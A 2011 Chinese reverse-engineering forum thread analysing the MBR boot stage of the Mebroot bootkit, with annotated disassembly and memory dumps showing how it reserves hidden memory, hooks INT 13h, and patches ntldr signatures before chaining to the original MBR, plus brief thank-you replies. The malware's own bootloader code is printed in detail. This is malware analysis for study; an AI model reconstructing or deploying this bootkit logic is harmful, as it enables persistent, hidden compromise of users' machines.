neinei 发表于 2011-8-22 10:43

mebroot mbr启动部分分析

本帖最后由 neinei 于 2011-8-22 10:47 编辑

这个纯属凑个热闹,mebroot已经好长时间,鬼影一类的也是在次基础上改进的。N多朋友分析了这些,这个您就当娱乐吧。:lol附近bin 里面上传了感染的3个扇区代码。

mebroot感染后的内存分布图

扇区号 占用空间
; 0      512             实模式(0x7c00)                                 virus bootload
; 60      512             保护模式(隐藏系统内存末尾)                     Ntldr的hook 代码
; 61      512             映射(影藏系统内存末尾)                     kernel 代码
; 62      512             实模式 (0x7c00)                                    原windowsMBR


断点在MBR 加载处,分析病毒代码 ,以下分析包括动态运行时及静态反汇编的代码

loc_7C00:                                        ; CODE XREF: reloc_meb_bootloader+14J
seg000:7C00 FA                              cli                     ; 关中断
seg000:7C01 33 DB                        xor   bx, bx
seg000:7C03 8E D3                        mov   ss, bx
seg000:7C05 36 89 26 FE 7B             mov   ss:7BFEh, sp    ; 设置一个新的堆栈,保留sp的值到7bfe
seg000:7C0A BC FE 7B                      mov   sp, 7BFEh
seg000:7C0D 1E                               push    ds
seg000:7C0E 66 60                        pushad                  ; 保存原寄存器,在执行原MBR程序时用
seg000:7C10 FC                               cld
seg000:7C11 8E DB                        mov   ds, bx
seg000:7C13 BE 13 04                      mov   si, 413h      ; 413h 段地址0040:0012 ,该地址空间存放系统内存大小

// 以我自己的本地xpsp2 机器测试此时 --> 0x27f

seg000:7C16 83 2C 02                      sub   word ptr , 2 ; 附加在最后的2k内存中,即系统内存尾部

// 以我自己的本地xpsp2 机器测试此时 --> 0x27d

seg000:7C19 AD                              lodsw// 将->0x27d 读到eax
seg000:7C1A C1 E0 06                      shl   ax, 6

//ax -->9f40 , 这里就是病毒要隐藏的地址,此时0x9f40 地址数据为0
//0x0000000000009f40 <bogus+       0>:    0x00000x00000x00000x00000x0000
//0x00000x00000x0000
//0x0000000000009f50 <bogus+      16>:    0x00000x00000x00000x00000x0000
//0x00000x00000x0000
//0x0000000000009f60 <bogus+      32>:    0x00000x00000x00000x0000

// 下面要拷贝自身到 0x9f40 处
seg000:7C1D 8E C0                        mov   es, ax          ; es 当作目的di 的段寄存器
seg000:7C1F BE 00 7C                      mov   si, 7C00h
seg000:7C22 33 FF                           xor   di, di
seg000:7C24 B9 00 01                      mov   cx, 256
seg000:7C27 F3 A5                           rep movsw               ; 拷贝自身512个字节过去
// 拷贝完毕

0x000000000009f400 <bogus+       0>:    0x33fa0x8edb0x36d30x26890x7bfe0xfebc0x1e7b0x60
66
0x000000000009f410 <bogus+      16>:    0x8efc0xbedb0x04130x2c830xad020xe0c10x8e060xbe
c0
0x000000000009f420 <bogus+      32>:    0x7c000xff330x00b90xf3010xb8a50x02020x3db10x80
ba
0x000000000009f430 <bogus+      48>:    0x8b000xcddf0x33130x66db0x478b0x664c0xa3260x00
73
0x000000000009f440 <bogus+      64>:    0x47c70x664c0x8c000x4e470x68060x004d0xfbcb0xc3
8e
0x000000000009f450 <bogus+      80>:    0x01b80xb9020x003f0x80ba0xb7000xcd7c0x66130x1f
61
0x000000000009f460 <bogus+      96>:    0xea5c0x7c00

seg000:7C29 B8 02 02                      mov   ax, 202h      ; al - 02,ah - 02 ,读2个扇区操作
seg000:7C2C B1 3D                        mov   cl, 61          ; 从60扇区开始
seg000:7C2E BA 80 00                     mov   dx, 80h ; '

neinei 发表于 2011-8-22 10:48

seg000:7C31 8B DF                        mov   bx, di          ; 缓冲区,此时 bx- 0x200 ,就是 es:0x200 -- 0x9f40 :200 -> 9f600
seg000:7C33 CD 13                        int   13h             ; DISK - READ SECTORS INTO MEMORY
seg000:7C33                                                             ; AL = number of sectors to read, CH = track, CL = sector
seg000:7C33                                                            ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7C33                                                            ; Return: CF set on error, AH = status, AL = number of sectors read

// 此时把病毒在60 扇区里面的东西读到了内存0x9f60:0000 处 ,这里是   Ntldr的hook 代码,16it的code

0x000000000009f600 <bogus+       0>:    0xf08b0xc0850x759c0x83050x24440x00040xfc600x7c
8b
0x000000000009f610 <bogus+      16>:    0x24240xe7810x00000xfff00xc7b00x75ae0x81fd0x46
3f
0x000000000009f620 <bogus+      32>:    0x00340x75400xb0f50xaea10xfd750x378b0x368b0x36
8b
0x000000000009f630 <bogus+      48>:    0x5e8b0x8b180x43eb0x3b810x4b6a0x196a0xf7750x7b
80
0x000000000009f640 <bogus+      64>:    0x89040x03750xc3830x80060x047b0x75e80x8de80x09
7b
0x000000000009f650 <bogus+      80>:    0xe8b00x75ae0x66fd0x7f810x84040x75c00x8bd80x8d
17
0x000000000009f660 <bogus+      96>:    0x3a540xe804

// 此时把病毒在61 扇区里面的东西读到了内存0x9f60:0200 处 ,这里是kernel hook代码

:
0x000000000009f800 <bogus+       0>:    0x148b0x68240x56780x12340x0c8b0x68240x56780x12
34
0x000000000009f810 <bogus+      16>:    0x200f0x50c00xff250xfeff0x0fff0xc0220xca2b0x0f
58
0x000000000009f820 <bogus+      32>:    0xc0220x34ff0x68240xe0620x37070x3be80x00000x59
00
0x000000000009f830 <bogus+      48>:    0x68590x01ab0x00000x006a0xd0ff0xe8600x00000x00
00
0x000000000009f840 <bogus+      64>:    0x835e0x15c60xf88b0x6a6a0xf3590xb1a50x8d800x00
be
0x000000000009f850 <bogus+      80>:    0xfffe0xffff0x33e00x61c00x74ff0x0c240x54ff0x08
24
0x000000000009f860 <bogus+      96>:    0x5a590x8760

// 此时还没有把原windows MBR 加载进来

// 现在要hook int 13 中断了。
seg000:7C35 33 DB                        xor   bx, bx
seg000:7C37 66 8B 47 4C                  mov   eax, //0x4c / 4 = 0x13 把13号中断地址的内容放到eax处

// 此时0x4c 的数据
:
0x000000000000004c <bogus+       0>:    0xe3fe
seg000:7C3B 66 26 A3 73 00               mov   es:73h, eax   ; 保留原13号中断例程地址 , 记住这个偏移,后面还会用到

// 保留到扩展段的0x9f40:73 的位置
:                                                   |(旧的int 13地址)
0x000000000009f473 <bogus+       0>:    0xe3fe0xf0000x882e0x90260x9d000x2e9c0x1eff0x0


seg000:7C40 C7 47 4C 66 00               mov   word ptr , 66h ; off 66h ,新入口例程,相对开始偏移66h的地方,记作Interrupt_13_hook
seg000:7C45 8C 47 4E                     mov   word ptr , es
seg000:7C48 06                           push    es
seg000:7C49 68 4D 00                     push    4Dh             ; 跳向sub_7c4d , es 已经被修正为指向内存末尾段,即reloc_meb_bootloader,后面代码是在内存中执行的
seg000:7C4C CB                           retf

// 此时调向了内存当中的9f44d
<bochs:62> s
Next at t=14092206
(0) 9f40:004d (unk. ctxt): sti                     ; fb

// 下面是IDA 中的代码,等效于 9f44d

seg000:7C4D FB                              sti
seg000:7C4E 8E C3                           mov   es, bx          ; bx 此时是0,es 重设di 的指向
seg000:7C50 B8 01 02                     mov   ax, 201h      ; 读1个扇区
seg000:7C53 B9 3F 00                     mov   cx, 63          ; 62号扇区
seg000:7C56 BA 80 00                     mov   dx, 80h
seg000:7C59 B7 7C                           mov   bh, 7Ch         ; bh ,位置为7c00
seg000:7C5B CD 13                        int   13h      ; DISK - READ SECTORS INTO MEMORY
seg000:7C5B                                                      ; AL = number of sectors to read, CH = track, CL = sector
seg000:7C5B                                                      ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7C5B                                                      ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:7C5D 66 61                        popad
seg000:7C5F 1F                           pop   ds
seg000:7C60 5C                           pop   sp
seg000:7C61 EA 00 7C 00 00         jmp   loc_7C00      ; 跳向开始,从新引导程序.即把62扇区的数据(原MBR)加载到7c00,跳向执行


//下int 13 断点
b 0009f466 -- > 这里是被病毒hook的int13 位置
7c66 等效9f466

Interrupt_13_hook proc far
seg000:7C66 9C                           pushf
seg000:7C67 80 FC 42                     cmp   ah, 42h         ; 扩展int 13h调用 读方式
seg000:7C6A 74 0B                        jz      short loc_7C77
seg000:7C6C 80 FC 02                     cmp   ah, 2         ; 非扩展int 13方式读
seg000:7C6F 74 06                        jz      short loc_7C77
seg000:7C71 9D                           popf                  ; 不是这两种方式的情况下,调原int 13

// 以上处理是,确定,如果是int 13 读操作,都要跳到病毒hook的代码


// 此时cs = 0x9f40 ,加上偏移0x90,实际是 0x9f490,此时ah = 2
seg000:7C77 2E 88 26 90 00         mov   cs:90h, ah

// 上面语句实际为了修改,seg000:7C8D B4                         mov   ah, 0   ---> 改为这样 mov ah,2

seg000:7C7C 9D                           popf
seg000:7C7D 9C                           pushf
seg000:7C7E 2E FF 1E 73 00         call    dword ptr cs:73h ; 上面提到过这个 73h 偏移,他存放了原int 13 中断 , 此时病毒并不知道系统那些情况下调用int 13,但要要是读调用,
seg000:7C83 0F 82 9D 00               jb      exit_int_13      ;病毒就去扫描看当前是有自己要hook 的内核特征部分
seg000:7C87 9C                           pushf
seg000:7C88 FA                           cli
seg000:7C89 06                           push    es
seg000:7C8A 66 60                        pushad
seg000:7C8C FC                           cld
seg000:7C8D B4 00                        mov   ah, 0         ; 此处就被动态的修改为ah 的值了,里面记录是读,还是扩展读
seg000:7C8F B5 00                        mov   ch, 0
seg000:7C91 80 FD 42                     cmp   ch, 42h
seg000:7C94 75 04                        jnz   short loc_7C9A; ax 扇区数
seg000:7C96 AD                           lodsw                   ; ds:si 扩展方式,指向磁盘地址数据包
seg000:7C97 AD                           lodsw
seg000:7C98 C4 1C                        les   bx,       ; 缓存位置
seg000:7C9A
seg000:7C9A                loc_7C9A:                               ; CODE XREF: Interrupt_13_hook+2Ej
seg000:7C9A 85 C0                        test    ax, ax          ; ax 扇区数
seg000:7C9C 75 01                        jnz   short loc_7C9F
seg000:7C9E 40                           inc   ax            ; 最少得读1个,就是一次循环至少要扫描512 个字节长度,作为特征搜索的范围
seg000:7C9F
seg000:7C9F                loc_7C9F:                               ; CODE XREF: Interrupt_13_hook+36j
seg000:7C9F 8B C8                        mov   cx, ax
seg000:7CA1 B0 8B                        mov   al, 8Bh         ; 设置序列中第一个匹配的字符
seg000:7CA3 C1 E1 09                     shl   cx, 9         ; 设置成512 * al 个 ,要扫描的特征长度
seg000:7CA6 8B FB                        mov   di, bx
seg000:7CA8 60                           pusha
seg000:7CA9
seg000:7CA9                loc_7CA9:                               ; CODE XREF: Interrupt_13_hook+4Fj
seg000:7CA9                                                      ; Interrupt_13_hook+57j ...
seg000:7CA9 F2 AE                        repne scasb
seg000:7CAB 75 47                        jnz   short loc_7CF4; 检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:7CAD 66 26 81 3D F0+                cmp   dword ptr es:, 74F685F0h
seg000:7CB5 75 F2                        jnz   short loc_7CA9
seg000:7CB7 26 81 7D 05 80+                cmp   word ptr es:, 3D80h
seg000:7CBD 75 EA                        jnz   short loc_7CA9
seg000:7CBF 26 8A 45 04                  mov   al, es:
seg000:7CC3 3C 21                        cmp   al, 21h         ; 检测是否hooed, 21h ,为 ntldr jz $23 指令
seg000:7CC5 74 04                        jz      short loc_7CCB; 感染标志
seg000:7CC7 3C 22                        cmp   al, 22h
seg000:7CC9 75 DE                        jnz   short loc_7CA9; 不是要检测的特征,继续搜索
seg000:7CCB
seg000:7CCB                loc_7CCB:                               ; CODE XREF: Interrupt_13_hook+5Fj
seg000:7CCB BE 0B 02                     mov   si, 20Bh      ; 感染标志
seg000:7CCE 2E 80 3C 00                  cmp   byte ptr cs:, 0
seg000:7CD2 75 20                        jnz   short loc_7CF4
seg000:7CD4 2E 88 04                     mov   cs:, al   ; 写入这个标志,在病毒MBR代码后面0xb的位置 , 这个al值就是 0x21 or 0x22 。

// 此时,es = 0x46adi = 0x120 ,下面的病毒代码将要patch调这里。
// 正常的ntld代码是,
/*
00046b1f: (                  ): mov si, ax                ; 8bf0       ---patch 调这里2个字节, 将0xf0 , 改为 ff 15
00046b21: (                  ): test si, si               ; 85f6
00046b23: (                  ): jz .+33                   ; 7421
00046b25: (                  ): cmp byte ptr ds:, 0xf8 ; 803df8
00046b28: (                  ): scasb byte ptr es:, al ; ae
00046b29: (                  ): inc bx                  ; 43
00046b2a: (                  ): add byte ptr ds:, al ; 0000
00046b2c: (                  ): jz .+7                  ; 7407
00046b2e: (                  ): xor si, si                ; 33f6
*/

//hook 后的代码
/*
00046b1d: (                  ): add byte ptr ds:, al ; 0000
00046b1f: (                  ): call word ptr ds:   ; ff15       ---------> 这里被修改为call,此时还没有继续重定位,后面会计算一下,进行重定位
00046b21: (                  ): test si, si               ; 85f6
00046b23: (                  ): jz .+33                   ; 7421
00046b25: (                  ): cmp byte ptr ds:, 0xf8 ; 803df8
00046b28: (                  ): scasb byte ptr es:, al ; ae
00046b29: (                  ): inc bx                  ; 43
00046b2a: (                  ): add byte ptr ds:, al ; 0000
*/


seg000:7CD7 26 C7 45 FF FF+                mov   word ptr es:, 15FFh ; hook 掉ntldr,修改原mov esi,eax ,改jump xxx
seg000:7CDD 66 8C C8                     mov   eax, cs// cs = 0x0x9f40 ,也就是病毒MBR代码运行的段地址
seg000:7CE0 66 C1 E0 04                  shl   eax, 4    // 计算病毒MBR基址
seg000:7CE4 05 00 02                     add   ax, 200h//跳过病毒MBR代码
seg000:7CE7 66 2E A3 FC 01               mov   cs:1FCh, eax// cs:1fch 这块是病毒MBR空白的数据位置,把eax = 0x9f600 ,保留到这里 ,此时覆盖了内存里面MBR 0x55aa 的这个标志
seg000:7CEC 2D 04 00                     sub   ax, 4
seg000:7CEF 66 26 89 45 01               mov   es:, eax; eax = 0x9f5fc写入目的地址 , 这样ntldr 的那处代码被修改为 call ,这样就又回到了病毒代码处
seg000:7CF4
seg000:7CF4                loc_7CF4:                               ; CODE XREF: Interrupt_13_hook+45j
seg000:7CF4                                                      ; Interrupt_13_hook+6Cj
seg000:7CF4 61                           popa

// patch 第二位置
seg000:7CF5 B0 83                        mov   al, 83h         ; 查找下一个特征 83C4 02 E9 00 00 E9 FD FF
seg000:7CF7
seg000:7CF7                loc_7CF7:                               ; CODE XREF: Interrupt_13_hook+9Dj
seg000:7CF7                                                      ; Interrupt_13_hook+A8j ...
seg000:7CF7 F2 AE                        repne scasb
seg000:7CF9 75 25                        jnz   short loc_7D20
seg000:7CFB 66 26 81 3D C4+                cmp   dword ptr es:, 0E902C4h
seg000:7D03 75 F2                        jnz   short loc_7CF7
seg000:7D05 66 26 81 7D 04+                cmp   dword ptr es:, 0FFFDE900h
seg000:7D0E 75 E7                        jnz   short loc_7CF7
seg000:7D10 66 26 C7 45 FC+                mov   dword ptr es:, 83909090h
seg000:7D19 26 83 65 06 00               and   word ptr es:, 0
seg000:7D1E EB D7                        jmp   short loc_7CF7
seg000:7D20                ; ---------------------------------------------------------------------------
seg000:7D20
seg000:7D20                loc_7D20:                               ; CODE XREF: Interrupt_13_hook+93j
seg000:7D20 66 61                        popad
seg000:7D22 07                           pop   es
seg000:7D23 9D                           popf
seg000:7D24
seg000:7D24                exit_int_13:                            ; CODE XREF: Interrupt_13_hook+1Dj
seg000:7D24 CA 02 00                     retf    2

//整个过程结束就等待这内存加载自己的另外扇区的代码了。

zhaokang 发表于 2011-8-22 13:57

沙发呵呵,鬼影,MBR...{:1_912:}

Hmily 发表于 2011-8-22 18:10

neinei牛又发精品分析,感谢分享,大家可以学习了.

neinei 发表于 2011-8-23 09:57

多谢H大鼓励:) , V牛逆的ShadowGhost3 才给力,这个是一碟小菜 ^_^。

jacalhu 发表于 2011-8-27 09:25

精品分析,收藏下慢慢研究。。。

check081 发表于 2011-8-29 03:21

好文。学习一下。

245661320 发表于 2011-9-25 18:04

下载了去分析下

ygr9017204 发表于 2012-3-8 06:20

下载了慢慢学习~~~~~~~~~~~~~~
页: [1]
查看完整版本: mebroot mbr启动部分分析